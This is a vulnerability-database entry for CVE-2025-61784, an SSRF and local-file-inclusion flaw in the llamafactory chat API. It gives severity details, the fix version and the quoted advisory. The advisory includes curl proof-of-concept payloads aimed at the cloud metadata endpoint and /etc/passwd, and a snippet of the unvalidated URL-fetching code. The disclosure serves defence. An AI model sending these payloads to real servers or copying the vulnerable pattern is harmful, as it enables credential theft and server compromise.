Vulnerabilities in pkg:pypi/llamafactory

PACKAGE
Advisory Identifier: GHSA-527m-2xhr-j27g
Advisory Summary

CVE-2025-61784 is a HIGH (CVSS 7.6) llama factory's chat api contains vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Llamafactory libraries in the PyPI ecosystem. The issue involves llama factory's chat api contains critical ssrf and lfi vulnerabilities. Remediation is available by upgrading affected packages to version 0.9.4.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/llamafactory

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/llamafactory. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-527m-2xhr-j27g CVE-2025-61784 HIGH LLaMA Factory's Chat API Contains Critical SSRF and LFI Vulnerabilities
GHSA-hj3w-wrh4-44vp CVE-2024-52803 HIGH LLama Factory Remote OS Command Injection Vulnerability
GHSA-f2f7-gj54-6vpv CVE-2025-46567 MODERATE LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py
GHSA-xj56-p8mm-qmxj CVE-2025-53002 HIGH LLaMA-Factory allows Code Injection through improper vhead_file safeguards

CVE-2025-61784 at a Glance

CVE Identifier CVE-2025-61784
GHSA Identifier GHSA-527m-2xhr-j27g
Severity HIGH
CVSS v3.1 Base Score 7.6
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Llamafactory
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability Low (A:L)

How to Fix CVE-2025-61784

To remediate this vulnerability, upgrade all affected Llamafactory dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

llamafactory fixed: 0.9.4
pip install llamafactory>=0.9.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show llamafactory

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-61784, inspect your installed packages using pip:

pip show llamafactory

Analyze the terminal output to locate any version of Llamafactory in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.4), your application is affected.

Note: The pip show llamafactory command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Llamafactory, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary ## A Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem. ## Details ## The vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs. The function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL. Vulnerable Code Snippets in _process_request: ``` # ... elif input_item.type == "image_url": # ... else: # web uri image_stream = requests.get(image_url, stream=True).raw # ... elif input_item.type == "video_url": # ... else: # web uri video_stream = requests.get(video_url, stream=True).raw # ... elif input_item.type == "audio_url": # ... else: # web uri audio_stream = requests.get(audio_url, stream=True).raw # ... ``` This vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability. ## PoC ## To reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service. Start the LLaMA Factory API server. Use curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector. SSRF Payload: ``` curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer your_api_key" \ -d '{ "model": "your-model-name", "messages": [ { "role": "user", "content": [ { "type": "text", "text": "What is in this image?" }, { "type": "image_url", "image_url": { "url": "http://169.254.169.254/latest/meta-data/" } } ] } ] }' ``` LFI Payload: ``` curl -X POST "http://127.0.0.1:8000/v1/chat/completions" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer your_api_key" \ -d '{ "model": "your-model-name", "messages": [ { "role": "user", "content": [ { "type": "text", "text": "What is in this image?" }, { "type": "image_url", "image_url": { "url": "/etc/passwd" } } ] } ] }' ``` The server will make a request to the specified URL or read the specified local file. ## Impact ## Vulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI). Impacted Component: The API server, specifically the /v1/chat/completions endpoint. Who is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical. ## Credits Wenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team

CVE-2025-61784 Affected Llamafactory Versions

1 component(s)
Fixed Versions:
0.9.4
Product / Package Ecosystem Affected Versions Fixed Version
llamafactory
PyPI
< 0.9.4
0.9.4

References

Frequently Asked Questions

What is CVE-2025-61784?
CVE-2025-61784 is a security vulnerability in Llamafactory involving LLaMA Factory's Chat API Contains Critical SSRF and LFI Vulnerabilities under CWE-918: Server-Side Request Forgery (SSRF).
Which Llamafactory versions are affected?
Affected versions include releases prior to 0.9.4 across affected packages: llamafactory.
What version fixes CVE-2025-61784?
Upgrading to 0.9.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is llamafactory affected?
Yes, llamafactory is affected in releases prior to 0.9.4. Upgrade your dependency to 0.9.4 or later.
What is the CVSS score of CVE-2025-61784?
CVE-2025-61784 has a CVSS v3.1 base score of 7.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L.
What CWE is associated with CVE-2025-61784?
CVE-2025-61784 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2025-61784?
Run the dependency tree command: 'pip show llamafactory'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-527m-2xhr-j27g",
  "modified" : "2026-03-19T20:50:59Z",
  "published" : "2025-10-07T22:08:53Z",
  "aliases" : [ "CVE-2025-61784" ],
  "summary" : "LLaMA Factory's Chat API Contains Critical SSRF and LFI Vulnerabilities",
  "details" : "## Summary ##\n\nA Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem.\n\n## Details ##\nThe vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.\n\nThe function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.\n\nVulnerable Code Snippets in _process_request:\n```\n# ...\n        elif input_item.type == \"image_url\":\n            # ...\n            else:  # web uri\n                image_stream = requests.get(image_url, stream=True).raw\n# ...\n        elif input_item.type == \"video_url\":\n            # ...\n            else:  # web uri\n                video_stream = requests.get(video_url, stream=True).raw\n# ...\n        elif input_item.type == \"audio_url\":\n            # ...\n            else:  # web uri\n                audio_stream = requests.get(audio_url, stream=True).raw\n# ...\n```\nThis vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.\n\n## PoC ##\nTo reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.\n\nStart the LLaMA Factory API server.\n\nUse curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.\n\nSSRF Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d '{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://169.254.169.254/latest/meta-data/\"\n          }\n        }\n      ]\n    }\n  ]\n}'\n```\nLFI Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d '{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"/etc/passwd\"\n          }\n        }\n      ]\n    }\n  ]\n}'\n```\nThe server will make a request to the specified URL or read the specified local file.\n\n## Impact ##\nVulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).\n\nImpacted Component: The API server, specifically the /v1/chat/completions endpoint.\n\nWho is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.\n\n## Credits\nWenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "llamafactory"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.9.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.9.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-527m-2xhr-j27g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-61784"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/hiyouga/LLaMAFactory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/hiyouga/LLaMA-Factory"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-10-07T22:08:53Z",
    "nvd_published_at" : "2025-10-07T19:15:39Z"
  }
}